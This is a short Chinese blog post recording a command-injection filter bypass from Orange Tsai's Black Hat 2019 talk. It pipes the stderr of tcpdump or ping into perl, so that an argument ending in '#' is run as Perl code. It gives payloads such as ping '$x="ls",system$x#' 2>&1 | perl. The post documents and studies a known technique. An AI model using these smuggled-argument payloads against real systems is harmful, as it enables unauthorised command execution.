另类的stderr命令执行方法

前言:今天看了Tsai作者的议题,发现一种另类的stderr命令执行方法,这边简单的记录下

参考文章:https://i.blackhat.com/USA-19/Wednesday/us-19-Tsai-Infiltrating-Corporate-Intranet-Like-NSA.pdf
参考文章:https://gtfobins.github.io/gtfobins/tcpdump/#command

介绍

今天看了Tsai作者的议题,发现了一个比较有意思的命令执行的方式,比如下面这种情况的执行命令的点如何进行利用?

过滤情况:https://github.com/w0y/CTF-Seminar-Presentations/blob/545d8053d76642a52996357dec3758a3b897df0b/hitcon-2019/virtual-public-network/repro/src/DSSafe.pm

tcpdump stderr命令执行方法

这边Tsai作者在tcpdump可以利用的情况下进行了如下操作,通过#符号注释后面的内容,然后通过perl来执行管道符的stderr来进行命令执行绕过

root@VM-4-2-ubuntu:~# tcpdump -d -r '123'
tcpdump: 123: No such file or directory
root@VM-4-2-ubuntu:~# tcpdump -d -r '123#'
tcpdump: 123#: No such file or directory
root@VM-4-2-ubuntu:~# tcpdump -d -r '123#' | perl
tcpdump: 123#: No such file or directory
root@VM-4-2-ubuntu:~# tcpdump -d -r '123#' 2>&1 | perl
root@VM-4-2-ubuntu:~# tcpdump -d -r 'print 123#' 2>&1 | perl

通过perl语法来进行命令执行结果如下

tcpdump -d -r 'print 123#' 2>&1 | perl

ping命令

测试了下ping命令也是可以的,平常也可以作为一种payload来进行测试

通过perl语法来进行命令执行结果如下

ping '$x="ls",system$x#' 2>&1 | perl

posted @   zpchcbd  阅读(138)  评论(0编辑  收藏  举报
相关博文:
阅读排行:
· 开源Multi-agent AI智能体框架aevatar.ai,欢迎大家贡献代码
· Manus重磅发布:全球首款通用AI代理技术深度解析与实战指南
· 被坑几百块钱后,我竟然真的恢复了删除的微信聊天记录!
· 没有Manus邀请码?试试免邀请码的MGX或者开源的OpenManus吧
· 园子的第一款AI主题卫衣上架——"HELLO! HOW CAN I ASSIST YOU TODAY
历史上的今天:
2020-01-20 AppLocker提权
点击右上角即可分享
微信分享提示